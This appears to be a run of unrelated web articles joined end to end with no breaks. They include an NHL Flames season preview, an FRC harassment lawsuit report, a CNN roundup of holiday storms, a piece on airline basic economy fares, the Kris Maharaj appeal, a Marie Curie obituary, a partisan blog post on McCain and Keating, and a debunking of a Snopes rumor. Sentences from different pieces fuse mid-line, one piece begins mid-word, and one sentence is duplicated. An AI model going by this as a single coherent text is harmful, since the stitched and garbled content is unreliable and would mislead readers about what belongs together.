I had never envisaged myself becoming a career politician.
I want to thank all the people who have made contact with me to thank me for my efforts over the past three to four years.
I’m now moving on and personally looking forward to the next chapter and journey of my life.
I will not be making any further comments on my decision to not re-contest.NHL.com continues its preview of the 2015-16 season, which will include in-depth looks at all 30 teams throughout August.
CALGARY -- A 20-point increase in the NHL standings -- the biggest jump among teams in the Western Conference -- and a berth in the Stanley Cup Playoffs for the first time in 2009 signifies progress, but the Calgary Flames aren't satisfied.
"What we're trying to be is a championship team," general manager Brad Treliving said. "We're trying to build a team that has a chance to have long-term success here.... There's one team at the end of the year that's happy with what they've accomplished. The rest of us are still striving to take steps forward. That's the mode we're in.
"I don't really focus in on rebuilds and what stage of the rebuild. This is about getting better and becoming a good team on a regular basis for a long time. That's the challenge for us."
Treliving, who was hired in April 2014, saw steps last season from the Flames, who finished third in the Pacific Division and advanced beyond the first round for the first time since 2004. He said he expects the growth to continue after adding defenseman Dougie Hamilton and forward Michael Frolik.
Hamilton, 22, was acquired in June in a trade with the Boston Bruins for three draft picks, and later signed a six-year contract. In 178 NHL regular-season games, the 6-foot-5, 212-pound defenseman has 22 goals and 83 points. He set NHL career highs in goals (10), assists (32) and points (42) in 2014-15.
"Dougie obviously helps and gives us more depth on the blue line," Treliving said. "Right shot, big body, skates, can do a lot of different things, but it's a good player that to me joins a good group of players on the blue line. Any time you can add to that, you can add a good player, it opens up different opportunities for the coaches, gives you more depth, and gives you more options. It helps us become deeper."
A day after Hamilton signed, Frolik signed a five-year contract. He had 19 goals and 42 points in 82 games with the Winnipeg Jets last season, and won the Stanley Cup with the Chicago Blackhawks in 2013.
"Michael gives us experience, a guy who's won a Stanley Cup, who's been in the playoffs and can do multiple things," Treliving said. "He's a tremendous penalty-killer, he brings us speed, tenaciously, work ethic. How that all translates and what it does it terms of lines and pairings, that's for the coaches, and that will get sorted out in the wash.
"Ultimately they bring two good players that can help us."
Treliving isn't pinning improvement on two players.
"There's two ways to make yourself better: That's add people from outside, which we've done, but also internal growth from your team," Treliving said. "What excites me about our team is I think we've got depth at all positions, I think we've strengthened our team with the additions we've made from outside with Hamilton and Frolik, and then we've got, in my mind, lots of room to grow in terms of our development and growth of our younger players being a year older, this group being together for a year, the experiences they went through last year."
Center Sean Monahan, a 20-year-old in his second NHL season, had 31 goals and 31 assists. Rookie Johnny Gaudreau, 22, had 24 goals and 64 points and was a Calder Trophy finalist. Defenseman TJ Brodie (41 points) and forward Lance Bouma (34 points), each 25, had career years.
Forward Jiri Hudler had an NHL career-high 31 goals and 76 points. Captain Mark Giordano had a career-best 48 points despite missing 21 games. Defensemen Dennis Wideman and Kris Russell also eclipsed previous offensive highs.
"It's important for all of our players to take a step," Treliving said. "The encouraging thing for us is we've got a lot of players that we feel haven't hit their ceiling yet. [Monahan is] a big part of our team and still a very young player. It's somewhat strange when you talk about how important and how big of a role he has at such a young age, but like all players the challenge for him is to take another step forward. The challenge for Johnny is to take another step forward. But the list goes on.
"It's really for all of our players. For us to have any type of success, everybody's got to take their fair share. Everybody has to take their step forward."OldNY
New York City has a long and sprawling history, but looking at the city today, it's hard to tell what it looked like in the past. Luckily, an enterprising coder has solved that problem by creating a Google Street View map for New York City for the late 1800s and early 1900s.
Developer Dan Vanderkam collaborated with the New York Public Library to plot all the old photos from the Photographic Views of New York City, 1870s-1970s collection on an interactive map.
The project, called OldNYC, lets you browse 19th-century New York as easily as you would click around on Google Maps. The collection contains over 80,000 original photographs.
Visit the OldNYC site here, or look below for some of the best photos we saw from the late 1800s and early 1900s, marked with their locations in the city.PHILADELPHIA - JANUARY 8: Tony Perkins, President of the Family Research Council, gestures while speaking at the Justice Sunday III rally on January 8, 2006 in Philadelphia, Pennsylvania. Sponsored by the Family Research Council, the rally was held one day before the start of confirmation hearings for Supreme Court nominee Samuel Alito. (Photo by Jeff Fusco/Getty Images)
The former director of women’s and reproductive health at the Family Research Council, a prominent Christian conservative advocacy group, is suing the organization, claiming it retaliated against her and fired her after she filed a sexual harassment complaint against her boss.
According to court documents first obtained and reported by journalist Evan Gahr, former FRC employee Moira Gaul, 42, filed a complaint in 2009 with the District of Columbia Human Rights Commission in which she accused her supervisor of gender discrimination. She claimed that her boss, the director of the Center for Human Life and Bioethics at the time, referred to the use of birth control pills as "whoring around," addressed emails to her with the words "hi cutie," pressured her to attend parties, and referred to her as a "young, attractive woman."
"His attitude toward me and other women was rude, belittling, and at times, angry," she wrote in the complaint.
Gahr identified Gaul's former supervisor as prominent anti-abortion lawyer William Saunders, who now works at the anti-abortion group Americans United for Life. Saunders and his attorney, William J. Hickey, did not respond to requests for comment on the case.
The FRC fired Gaul shortly after she filed the complaint, citing a loss in federal funding for abstinence -- Gaul's area of expertise -- and the need for someone with more experience on abortion issues. Gaul claims the FRC also retroactively canceled her health insurance for the time that she was on short-term disability for systemic lupus.
While the original sexual harassment complaint was settled in July 2009, Gaul and her attorney, Shannon Stokes, are currently suing the FRC for illegally retaliating against her. The suit claims that Gaul had received excellent reviews and no reprimands at the FRC up until she filed the gender discrimination complaint. Then, three months after she was fired, abstinence funding continued to the FRC, and the organization "created a new position with duties substantially similar to those previously performed by Ms. Gaul."
J.P. Duffy, vice president of communications at the FRC, told The Huffington Post that "D.C.'s Office of Human Rights made no finding" on the gender discrimination case, "and the case was withdrawn." Duffy did not comment on the retaliation case, which is ongoing.
The FRC argued in its motion for summary judgment that Gaul cannot prove that she was fired as a result of her harassment complaint. And because the original complaint was dropped, Gaul's lawyers are forbidden from asking her about the gender discrimination in court.Since the demise of the Silk Road, mainstream financial institutions have shown significant interest in virtual currencies and particularly in the blockchain technology, which provides a new decentralized way to keep financial records and to power transactions of all sorts. Major central banks have recently been talking about using the technology for their own currencies.
Most projects in the virtual currency area, though, have been pushing in directions that would make it easier to integrate with the existing financial system.
Jonathan Levin, a founder of Chainalysis, a start-up that helps banks and regulators track activity on blockchains, said that the authorities had become comfortable with virtual currencies because they had been able to trace transactions in cases of criminal activity.
“It’s going to be quite difficult for Zcash in its opaqueness to show that, no, it is not all bad stuff going on,” he said.
But Mr. Wilcox has the help of a former top New York state financial regulator and a former federal prosecutor to help ease the concerns of government officials. Mr. Wilcox is hosting an open virtual meeting later this month with law enforcement officials from across the country to explain the project.
Mr. Wilcox and the programmers who created Zcash say that they developed the currency not to facilitate illegal activity but to provide a degree of privacy for people who do not want their financial transactions visible to the world.
“The basic story is that we have been gradually losing our privacy in a whole bunch of ways that people don’t appreciate,” said Matthew Green, an assistant professor at Johns Hopkins who began developing Zcash with some of his graduate students in 2013. “This brings back a little bit of that privacy that computers have taken away from us. This technology gives us a defense against something that until now we have been defenseless against.”Today was a milestone day for the RailsApps project. I received a $100 check in the mail from a fan, the first time someone has been moved to send money as a thank you. I’m happy to report that getting a surprise gift of cash feels great! I’m taking it as a sign I should explain why I work on this project.
I do it because I like the appreciation. Every week I see comments and tweets that inform me someone new found value in the example apps and tutorials I create. There are many reasons developers lead open source projects. To some it is ideological. Famously, Richard Stallman and others in the FOSS movement advocate software should be free for political as well as practical reasons. For others, an apparent altruism masks pragmatic motives: Like Tom Sawyer painting a fence, doing work out in the open encourages others to fix bugs and add features. I’m not an especially needy or insecure person (no more than most) but for me, it’s all about appreciation.
I discovered the value of appreciation in 1999-2000 (a time when you may recall it was more popular to discover the value of credulous investors). I was doing corporate consulting, leading teams building web applications. I’d long since dropped a number of small business clients I’d acquired in 1995-1996 who’d been paying me to serve as part-time webmaster. But I stayed with one client, a motivational speaker named Esther Hicks, because every time she sent a check she included a beautifully handwritten note thanking me for my work. No corporate client, no matter how big or important the project, ever did that. Significantly, Esther and her husband Jerry Hicks taught a message about positive thinking that centered on the value of appreciation. She walked her talk. Her message was destined to go viral; in time, Esther and Jerry Hicks became NY Times best-selling authors. To her, expressing appreciation was not a one-minute manager’s cheap trick to boost productivity or keep a highly paid consultant around for cheap (though that was a beneficial effect). Esther and Jerry Hicks recognized, as I do, that the things that elicit appreciation are the things worth doing.
That’s why I work on open source projects. I thought of Esther’s handwritten thank you’s recently when I wrapped up a short term consulting gig that suffered from a noticeable deficit of appreciation. It included cross-continent plane travel, corporate lodgings a block from Wall Street, a fat retainer, and a lot of grousing, blaming, and unhappy people. Was it a project destined for success? Not by my yardstick. In contrast, here’s the RailsApps project. $100 out of the blue for work I love doing. Satisfying, rich in appreciation, and already successful when I count the number of people who benefit.
You could ask yourself, what do you do that elicits appreciation? If you used appreciation as your metric, would it lead you to the kind of projects that go viral, change the world, and better lives?(CNN) The world's weather turned wild over the Christmas holiday week, with devastating storms, tornadoes and wildfires wreaking havoc across the globe.
Torrential rains in parts of South America, blamed on El Nino, have displaced more than 150,000 people across Argentina, Brazil, Paraguay and Uruguay.
In the United States, a mammoth storm system engulfing much of the country has claimed at least 24 lives, including four soldiers in Missouri. Counting victims from other storms earlier last week, the death toll is 43.
Swaths of northern England have been submerged with mammoth flooding, prompting evacuations and dozens of urgent warnings.
Authorities in Spain and Australia, meanwhile, are fighting to get devastating fires under control.
Here's what's going on across the globe:
South America
El Nino is causing chaos across South America, inducing severe rains and flooding on a scale not seen for decades.
Flood waters caused havoc in several places, including Concordia, Argentina, where water flooded a train.
Tren bajo el agua #inundaciones #concordia #entrerios @cnnee @cnnscenes A photo posted by Ivan Perez Sarmenti (@ivanpzs) on Dec 28, 2015 at 3:43am PST
Here's a look at some of the most affected countries:
Paraguay: In Paraguay, the hardest-hit country, more than 130,000 people were evacuated. In the city of Alberdi, residents fled as walls holding back water appeared on the verge of collapse, authorities said.
Argentina: As many as 20,000 people were evacuated, half of them from Concordia, the heavily affected city that President Mauricio Macri visited Sunday.
La Costanera de Concordia en recorrida con la policía provincial @cnnee A video posted by Diego Laje (@dlajecnn) on Dec 28, 2015 at 4:45am PST
Brazil: At least 38 cities were inundated, with Rio Grande do Sul state taking the biggest hit, authorities said. More than 1,800 families were forced to leave their homes.
Uruguay: At least 11,300 people had to flee their homes, mostly in the northwestern city of Salto, the head of the National Emergencies Office said Sunday.
Europe
JUST WATCHED Severe flooding strikes Northwest England Replay More Videos... MUST WATCH Severe flooding strikes Northwest England 00:10
Britain: The army has been sent in to help deal with the flooding across northern England, which local residents say is the worst in living memory for some areas.
Authorities issued 24 severe flood warnings Sunday, each one meaning there is a "danger to life." Thousands of people have been left without electricity.
British Prime Minister David Cameron chaired an emergency Cabinet meeting Sunday and said more troops will be deployed to assist with the response to the flooding.
A firefighter battles against a blaze outbreak in northwest Spain.
Spain: Dozens of wildfires have been burning for over a week in remote regions of northern and central Spain.
The government deployed three water-dropping planes to battle more than 40 fires in the regions of Asturias and Avila, which have been experiencing unusually warm weather, Agence France-Presse reported Sunday.
A helicopter battling a fire in Asturias crashed Wednesday, killing the pilot, the aircraft's sole occupant.
Asia
Australia: Wildfires have raged across thousands of hectares of land left vulnerable by exceptionally dry weather in the southern state of Victoria. The fires, one of which Wildfires have raged across thousands of hectares of land left vulnerable by exceptionally dry weather in the southern state of Victoria. The fires, one of which consumed at least 116 homes over Christmas, are expected to continue to burn for weeks.
#Lorne Keith Pakenham is a photographer & vol for the CFA. This is some of his excellent photography #vicFires pic.twitter.com/kIXTlRQmJF — Incident Alert-VicSA (@incident_alert) December 25, 2015
Crews from Hallam, Narre Warren & Narre Warren North were kept busy at a garage fire on Christmas Day. #narrewarren pic.twitter.com/KR1gqYzNji — Narre Warren CFA (@NarreWarrenCFA) December 27, 2015YOU’RE sitting in the cattle class section of the plane, knees folded under your chin, fighting for control of the armrest, struggling to digest whatever food they just gave you and thinking, it can’t get any worse than this.
But oh yes. It can.
A new cabin class ranked lower than economy is creeping onto major airlines across the United States and it’s probably a matter of time before we see them everywhere.
American Airlines has announced it will soon launch a “basic economy” fare that will cost less than economy and come with even fewer comforts.
The new fares will go on sale on select US domestic routes in February.
One major change will affect what passengers can bring on board — the basic economy ticket will only allow for one personal item that can be slotted under the seat in front. Nothing more.
Passengers also won’t be allowed to pick their own seat, but will have the option of paying extra for a seating assignment right before their flight.
Delta Air Lines already offers a basic economy ticket, which is available on about 40 per cent of its US routes. The airline plans to make the fares available on all routes by the end of the year as well as introducing them on international flights.
A third US carrier, United Airlines, said it would start selling its own version of the basic economy fare by the end of March.
American Airlines hasn’t indicated the cost of its new fare class, but it will no doubt make air travel more affordable to many passengers. However, this is what they can expect:
• They can’t travel with wheeled carry-on bags, and will only be allowed to board with a single item that can be stowed under the seat
• They’ll be the last group of people to board the plane (with a couple of exceptions, such as if they’re an existing, high-level loyalty card member)
• They’re not allowed upgrades
• They can’t pick their own seats — which is a blow for any travelling companions who want to sit together — but they will have the chance to pay for a seating assignment 48 hours before the flight
• They can’t get a refund or change their booking.
It sounds pretty grim, but according to the Associated Press, American Airlines president Robert Isom has told staff flight attendants won’t be checking if basic-economy ticket holders tried to put their personal item in the overhead bins, so there’s that.
And snacks, in-flight service and the actual seats will be the same as the main cabin, the airline said.
But what if you need to check in luggage? Basic economy passengers with baggage will have to pay to check in their bags, and then pay an additional gate handling fee of $25 ($A33) on top of that.
United plans to do the same with its forthcoming basic economy fare, Business Insider reports.
— with APA British businessman serving a sentence for two murders has been framed and the killings were carried out by executioners working for Pablo Escobar's notorious Medellin cartel, it has been claimed.
Jhon Jairo Velasquez Vasquez - Escobar's chief assassin responsible for the killing of 300 people - has sensationally stated 75-year-old Kris Maharaj has been wrongly imprisoned just as lawyers battle to overturn his conviction.
Maharaj was working in Miami, Florida, as a property investor in 1986 when he was convicted for the murder of father and son Derrick and Duane Moo Young at a downtown Miami hotel.
Escobar's assassin, Jhon Jairo Velasquez Vasquez (pictured), has claimed British businessman Kris Maharaj was framed and the double killing was the work of hitmen working for the Medellin cartel
Maharaj, now 75, has spent almost three decades in a Florida prison for a crime he says he did not commit. Here he is pictured during this week's court hearing which his legal team hope will overturn his conviction
His legal team has been battling to have the conviction overturned in recent years with new evidence alleging the murders were carried out by hitmen working for Colombian drug lord Pablo Escobar.
Now Velasquez, the kingpin's most feared assassin who is responsible for killing 300 hundred people, has claimed through his lawyers that Maharaj was wrongly convicted.
Velasquez, who lives in a secret location following his release from prison in August, called a former agent for the US Drug Enforcement Agency to state his claim,The Guardian reported.
Former agent Henry Cuervo said: 'Velasquez said he wanted to clear his conscience, he wanted to say who had killed the Moo Youngs. He said it was Pablo Escobar and his people.'
Velasquez added: 'As a lieutenant of Pablo Escobar Gaviria, with whom I worked shoulder to shoulder, he told me directly that they had stolen his money and that of his partners and that therefore "they had to die",' the paper reported.
Lawyers for Maharaj described the call in a court hearing which concluded this week.
Velasquez (pictured in prison in 2009), was released in August in return for providing information on other murders carried out during the bloody reign of Pablo Escobar
Colombian drug kingpin Pablo Escobar (pictured left on his son's book cover) ordered the deaths of thousands of people during his time at the head of the Medellin cartel. Velasquez is pictured right as a young assassin
Yesterday a Florida judge wrapped up the three-day hearing, which was held to re-examine Maharaj's conviction.
His legal team, led by British civil rights lawyer and activist Clive Stafford Smith, hope to persuade Florida Circuit Court Judge William Thomas to overturn the conviction, saying new evidence indicates the Moo Youngs were money launderers who stole from Escobar's Medellin cartel.
Thomas has not said when he plans to rule, but lawyers said it could take several weeks.
As well as hearing from Mr Cuervo, the court heard testimony from an alleged former Medellin cartel enforcer, Jorge Maya, in a taped Skype interview from Colombia claiming that Escobar ordered the hit.
He said: 'I am 100 percent sure that... Kris Maharaj had nothing to do with the assassinations.'
Furthermore, a former U.S. government informant, Baruch Vega, said on Wednesday he learned at the time that the killings were arranged by a top cartel boss who had the hotel room across the hall from where the Moo Youngs were slain.
An American pilot who flew cocaine shipments for the cartel also testified that he heard Escobar say he ordered the killing, telling prosecutors: 'You got the wrong guy.'
A lawyer who investigated the Moo Youngs' finances for a life insurance company testified that their business records suggested they were money laundering, although they were depicted as legitimate businessmen in the 1987 trial.
Prosecutors said the defense case consisted entirely of hearsay and unproven allegations. The Moo Youngs' financial records did not change the case 'one iota,' prosecutor Penny Brill said.
The fingerprints of Maharaj, a once wealthy businessman who divided his time between Britain and Florida, were found in the hotel room where the murders took place and he had a long-running feud with Derrick Moo Young, prosecutors said.– Last season's award-winning History Will Be Made™ campaign will return for the 2011 Stanley Cup® Playoffs but with significantly broader distribution. This year, the National Hockey League (NHL) and the NBC Sports Group have joined forces to distribute the national advertising campaign across the TV, online, radio, print, in-arena, in-store point-of-purchase, mobile and social media platforms of the NHL, NBC and VERSUS as well as additional NBC Universal platforms, such as CNBC and MSNBC.Last season'scampaign was one of the most successful campaigns in NHL history, driving more than 302 million TV viewers for the 2010 Stanley Cup Playoffs, the most watched in 36 years. The campaign, which featured prominent Playoffs moments from NHL greats Bobby Orr and others, not only drove interest and television viewership but connected with fans on an emotional level and inspired them to create and post their own versions of the TV spots to YouTube, generating more than 2,400 fan-created commercials and more than 8 million total views. For the second straight year, fans will be able to download the music composed for the History Will Be Made campaign from the NHL's Facebook page for fan-generated spots.The first pair of TV spots in this season's campaign – "Wish" and "Mess" - will debut on March 13 during the NBC Sports broadcast of the Chicago Blackhawks at Washington Capitals game and more than 20 additional spots will launch by April 13, the first day of the Playoffs. Starting April 14 through the conclusion of the Stanley Cup Final, a new spot will be produced each day, highlighting a key moment from the previous night's games."The Stanley Cup Playoffs are filled with drama, the emotional highs and lows of crucial wins andlosses, the unbearable tension of sudden death overtime and performances that can define a career forever," said Brian Jennings, NHL Executive Vice President of Marketing. "Last season, thecampaign, which celebrated some of the iconic moments that make the Stanley Cup Playoffs so special, elicited an overwhelming emotional reaction from our fans. Fans brought handmade History Will Be Made signs to games and shared their own versions of the campaign on YouTube. Players even referenced the campaign in post-game interviews. This year, by taking a truly collaborative approach on creative, production and media with NBC Sports and VERSUS, we expect the campaign to continue to reach and resonate with even more fans, further helping to drive interest and viewership.""There is both quality and power in thecampaign," said John Miller, who heads the NBC Sports Agency and the NBCUniversal Marketing Council. "By pooling our creative resources and air time, we believe collectively we can effectively tell the story of the excitement and emotion of the Stanley Cup Playoffs."Last year's 2010 Stanley Cup Playoffs campaign received three Sports Media Marketing Awards, including top prizes for Best Television Promotion and Best Live Sporting Event Spot and a silver in the Best Television Promotion category.Thecreative was developed collaboratively by the NHL, NBC Sports Group and |
me. Curie continued her frugal and active life, residing with her two daughters and shunning notoriety of any form. Already as a child she had been extremely studious, and was the chief assistant of her father, Dr. Ladislas Sklodowski, scientist and teacher at the Lycee of Warsaw. Her mother, Bronsitawa Boguska, was principal of a girls' school.
Marie Sklodowska was born on Nov. 7, 1867. As a child she played with test tubes and crucibles and she was later a brilliant student. When she became involved in political differences she went first to Cracow, then under Austrian rule, and later to Paris, where she obtained a science degree at the university.
At the Sorbonne she met Pierre Curie, a young physics instructor. They worked together, having common interests, and in 1895 they were married. Mme. Curie became a teacher of physics at a girls' school at Sevres. The research work was pursued at night.
So devoted were these two to their work that they frequently forgot to eat, and as often ate plain bread and washed it down with coffee in their laboratory.
The discovery of X-rays by Dr. Roentgen in 1895 started many physicists and chemists on investigations to see whether phosphorescent bodies in general would not emit rays of a similar character. In 1896 Becquerel found that the salts of uranium emitted radiations affecting photographic plates and, like the X-ray, passing through many substances impervious to ordinary light.
Later Mme. Curie discovered that the salts of thorium emitted similar rays. Searching for other radio-active material, M. and Mme. Curie, after long and tedious, but to them fascinating, trials, discovered that pitchblende was much more active than uranium. Mme. Curie made up her mind to go still further. She would not stop short of finding out what it was in pitchblende that produced the radio-active force that would pass through any substance except lead and steel.
But at that time pitchblende was to be had only from a small deposit in Bohemia. Mme. Curie reduced tons of it and then, first by chemical separation and then by eliminations, she finally isolated two fiercely energetic substances. One she called polonium after her native country, the other radium.
The old laboratory on Rue Lhomond was described by Henry Labouchere, editor of The London Truth, as "a scientific Bethlehem."
How each insisted upon the other's great share in the discovery was told by M. Curie when he received the Nobel Prize at Stockholm.
"Mme. Curie," he said on that occasion, "proved in 1898 that of many of the chemical substances, those which contained uranium or thorium alone were capable of emitting in notable quantities Becquerel rays. * * * Mme. Curie studied the minerals which had in them uranium or thorium, and found these minerals were radio-active. In her experiments she found that some of them were more active than they would have been if they had contained only uranium or thorium. Mme. Curie then made the hypothesis that these substances contained radio-active chemicals as yet unknown. Mme. Curie executed these experimental works and reached her momentous conclusion alone."
But in 1911, when she went to Stockholm to receive her second Nobel Prize, Mme. Curie said:
"First, I wish to recall that the discovery of radium was made by Pierre Curie in conjunction with me. We also owe to Pierre Curie fundamental experiments in the domain of radio-activity. The chemical work which had for its end the isolation of radium was my special work."
Several years passed, however, before the general public knew of radium. A watch-case containing a speck of the rare element was exhibited a the Paris Exposition in 1900. It was labeled, "Radium, discovered by Mme. Curie." In 1901 the French Academy of Sciences awarded the La Caze Prize of 10,000 francs to the Curies.
Soon afterward Mme. Curie put chemistry in possession of a relatively large quantity of radium, as she had by a crystallization process obtained a decigram of the pure chlorid, which allowed her to obtain the atomic weight.
In 1903 M. and Mme. Curie received the Davy Medal of the Royal Society. That year Mme. Curie submitted the results of her researches in her doctorate thesis presented to the University of Paris. She then became chef de travaux in the laboratory at the department of the Sorbonne created for her husband. M. Curie was elected to the Academy of Sciences in 1905. His widow succeeded him as professor at the University of Paris.
She wrote a good deal, among her works being "Recherches sur les Proprietes Magnetiques des Aciers Trempes," "Recherches sur les Substances Radioactives," "L'Isotropie et les Elements Isotropes" and "Pierre Curie," the life and work of her husband. Her most celebrated work, however, which is regarded as a classic in scientific literature, was her "Traite de Radioactivite," which was published in 1910.
When the World War broke out Mme. Curie offered her services to the Government of France. She closed the Institut Curie and with her elder daughter, Irene, and a few students, she went to a hospital behind the front, employing her knowledge of radiography in aiding the wounded. At her suggestion, automobiles equipped with radiographic apparatus were utilized along the front, and by this means bullets and shell splinters were located in the heads of dangerously wounded soldiers.
Mme. Curie arrived in the United States for her first visit in the Spring of 1921. She was accompanied by her two daughters, Irene and Eve, and she visited New York, Washington, Philadelphia, Pittsburgh, Chicago, Buffalo, Niagara Falls, the Grand Canyon and Boston.
The frail little woman was overwhelmed by honors. She was feted and laudatory speeches were made everywhere she went. She received honorary university degrees from Columbia, the University of Pennsylvania, Woman's Medical College, University of Pittsburgh, Yale, Wellesley, Northwestern and Smith.
President Nicholas Murray Butler, in presenting the Columbia award, said it honored the woman "to whose skill, scientific might and trained powers of imagination it has been given to enrich mankind by the priceless gift of radium, winning thereby a place on the immortal list of scientific discoverers."
Dr. William Lyon Phelps of Yale said:
"There is one thing rarer than genius. That is radium. Mme. Curie illustrates the combination of both."
On May 20, 1921, President Harding presented the gift of the people of the United States, the gram of radium, which had been purchased for $100,000 and obtained from 500 tons of carnotite ore.
In 1922 Mme. Curie was elected a member of the Academy of Medicine in Paris, and the next year the French Government unanimously voted her an annual pension of 40,000 francs. That was on the occasion of the twenty-fifth anniversary of the discovery of radium.
Mme. Curie was never eager to mix in political or social matters. She did, however, urge woman suffrage, and she advocated international scholarships in pure science. This latter plan was put before the League of Nations.
As a Christmas present in 1921 a large group of American women endowed Mme. Irene Curie-Joliot, the daughter who had always helped Mme. Curie in her work, enabling her to pursue her scientific researches, from the fund of $56,413.54 left over after the gram of radium had been bought in 1921.
In 1929 Mme. Curie returned to the United States and received $50,000 with which to purchase a second gram of radium. The presentation took place on Oct. 30 at the Academy of Sciences at Washington, President Hoover lauding the life and work of the recipient.
During this visit Mme. Curie received an honorary degree from St. Lawrence University and dedicated Hepburn Hall of Chemistry there. She received the gold medal of the New York City Federation of Women's Clubs and many other marks of honor and esteem. As a guest of Henry Ford, Mme. Curie went to Dearborn, Mich., for the Edison jubilee.
In 1931 Mme. Curie attended the Congress of World Physicists at Rome. She was gravely injured when, in April, 1932, she slipped and fell in her laboratory, and an operation was necessary.John McCain's new coziness with Big Oil is in many respects just a replay of his old coziness with Charles Keating. In both cases, money and access bought influence. Let's start with oil.
Last month, Time reported that McCain tapped a "prominent Washington lobbyist," William E. Timmons Sr., to run his transition, should he win the election. Who does Timmons and Company lobby for? As of this year, they are getting about $100,000 a quarter from the American Petroleum Institute (API)
More than 20 top McCain advisers and fundraisers have lobbied for Big Oil, including Charlie Black, Senior Political Adviser (whose clients include Occidental, Yukos Oil, Chinese National Off-Shore Oil Corp.) and Wayne Berman, National Finance Co-Chairman (Hess, Chevron, Texaco, API).
What does the access get Big Oil? Let's see. McCain has almost completely walked away from the climate issue (see "Turns out McCain doesn't care about global warming"). He picked Big Oil's dream VP, Alaska Governor Sarah Palin. And, of course, back in July, as the Washington Post headline blared, "Industry Gushed Money After Reversal on Drilling":
Oil and gas industry executives and employees donated $1.1 million to McCain last month -- three-quarters of which came after his June 16 speech calling for an end to the ban -- compared with $116,000 in March, $283,000 in April and $208,000 in May.
That is a lot of quid for a lot of quo, a lot of cash for trashing his image as an environmentalist or as a reforming maverick. Of course, we've seen that the environmental image was always a pure fraud (see "The greenwasher from Arizona has a record as dirty as the denier from Oklahoma").
Yet, the image of McCain as someone who fights against lobbyists, rather than cozies up to them, is also a complete fraud, as the sordid story of the Keating Five (excerpted below) makes clear. The past is indeed prologue:
Keating was the chair of Lincoln Savings and Loan Association of Irvine, California, and he "ultimately served five years in prison for his corrupt mismanagement of Lincoln." Lincoln had become "burdened with bad debt resulting from its past aggressiveness, and by early 1986, its investment practices were being investigated and audited" by the Federal Home Loan Bank Board (FHLBB) over whether it had violated rules limiting certain kinds of risky, direct investments. [Hmm. That certainly sounds familiar.] "Lincoln had directed FDIC-insured accounts into commercial real estate ventures. By the end of 1986, the FHLBB had found that Lincoln had $135 million in unreported losses and had surpassed the regulated direct investments limit by $600 million."
The core allegation of the Keating Five affair is that Keating had made contributions of about $1.3 million to various U.S. Senators, and he called on those Senators to help him resist regulators. The regulators backed off, to later disastrous consequences.
In 1991, the Senate Ethics Committee found that McCain had exercised "poor judgment" for meeting with federal regulators on Keating's behalf. Others members of the Keating Five were found to have acted improperly. Many independent observers thought all five got off lightly, especially McCain, who had far closer ties to Keating than the others:
Fred Wertheimer, president of Common Cause, which had initially demanded the investigation, thought the treatment of the senators far too lenient, and said, "The U.S. Senate remains on the auction block to the Charles Keatings of the world." Joan Claybrook, president of Public Citizen, called it a "whitewash." Jonathan Alter of Newsweek said it was a classic case of the government trying to investigate itself, labelling the Senate Ethics Committee "shameless" for having "let four of the infamous Keating Five off with a wrist tap." Margaret Carlson of Time suspected the committee had timed its first report to coincide with the run-up to the Gulf War, minimizing its news impact. One of the San Francisco bank regulators felt that McCain had gotten off too lightly, saying that Keating's business involvement with Cindy McCain was an obvious conflict of interest.
McCain's incredibly close ties with Keating foreshadow his incredibly close ties with lobbyists today, especially with the oil industry. Consider just how cozy Keating was to McCain:
McCain was the closest socially to Keating of the five senators.... Between 1982 and 1987, McCain had received $112,000 in political contributions from Keating and his associates. In addition, McCain's wife Cindy McCain and her father Jim Hensley had invested $359,100 in a Keating shopping center in April 1986, a year before McCain met with the regulators. McCain, his family, and their baby-sitter had made nine trips at Keating's expense, sometimes aboard Keating's jet. Three of the trips were made during vacations to Keating's opulent Bahamas retreat at Cat Cay. McCain did not pay Keating (in the amount of $13,433) for some of the trips until years after they were taken, when he learned that Keating was in trouble over Lincoln.
So McCain's unethical behavior today in his campaign, his cozy relationship with lobbyists and industry fat cats whose agenda he pushes, is nothing new.A viral message circulating since the 2008 presidential election alleges that the hoax-debunking website Snopes.com is "owned by a flaming liberal" who is "in the tank for Obama" and can't be trusted to provide unbiased information. Is it true? Has anyone offered proof to back it up?
Description: Viral text / Email rumor
Viral text / Email rumor Circulating since: Oct. 2008
Oct. 2008 Status: Unsubstantiated (see details below)
Rumor example
Email text contributed by Elliott F., Oct. 20, 2008:
Subject: Snopes under fire
PLEASE READ!!!!!!! VERY IMPORTANT----- SNOPES EXPOSED:
Snopes under fire
I have suspected some problems with Snopes for some time now, but I have only caught them in half-truths. If there is any subjectivity they do an immediate full left rudder.
Truth or fiction.com <http://truthorfiction.com/> is the better source for verification, in my opinion.
I have recently discovered that Snopes.com is owned by a flaming liberal and this man is in the tank for Obama. There are many things they have listed on their site as a hoax and yet you can go to Youtube yourself and find the video of Obama actually saying these things. So you see, you cannot and should not trust Snopes.com.... ever for anything that remotely resembles truth! I don't even trust them to tell me if email chains are hoaxes anymore.
A few conservative speakers on Myspace told me about snopes.com <http://snopes.com/> a few months ago and I took it upon myself to do a little research to find out if it was true. Well, I found out for myself that it is true. This website is backing Obama and is covering up for him. They will say anything that makes him look bad is a hoax and they also tell lies on the other side about McCain and Palin.
Anyway just FYI please don't use Snopes.com anymore for fact checking and make your friends aware of their political leanings as well. Many people still think Snopes.com is neutral and they can be trusted as factual. We need to make sure everyone is aware that that is a hoax in itself.
Analysis
Apparently, it never occurred to this anonymous emailer to cite even one actual instance of Snopes.com promulgating "half-truths" or "lies" under the guise of providing reliable information. So much for credibility (the emailer's, we mean).
It's doubly ironic that an attack like this should be mounted against the oldest and most respected fact-checking site on the Internet at the denouement of an election year (2008) marked from beginning to end by unrestrained smear-mongering, much of which it fell to Snopes.com to debunk.
Let's examine the accusations.
CLAIM: Snopes.com is owned by 'a flaming liberal' with a partisan bias. First off, it's clear that whoever wrote this piece made it up as they went along. Anyone who has spent even a few minutes browsing Snopes.com knows that the website is owned by two people, not one, husband and wife David and Barbara Mikkelson of southern California. This is stated on the website and has been common knowledge since the website's inception.
Second, the charge of partisanship is laid without evidence. At no time have the Mikkelsons publicly stated a political preference or affiliation, or expressed support for any particular party or candidate.
Moreover, Barbara Mikkelson is a Canadian citizen, and as such cannot vote in U.S. elections or contribute to political campaigns. In a statement provided to FactCheck.org, David Mikkelson said his "sole involvement in politics" is voting on election day. In 2000 he registered as a Republican, documents provided to FactCheck.org show, and in 2008 Mikkelson didn't declare a party affiliation at all. Says Mikkelson: "I've never joined a party, worked for a campaign, or donated money to a candidate" (source: FactCheck.org).
Anyone who claims proof to the contrary needs to come out with it.
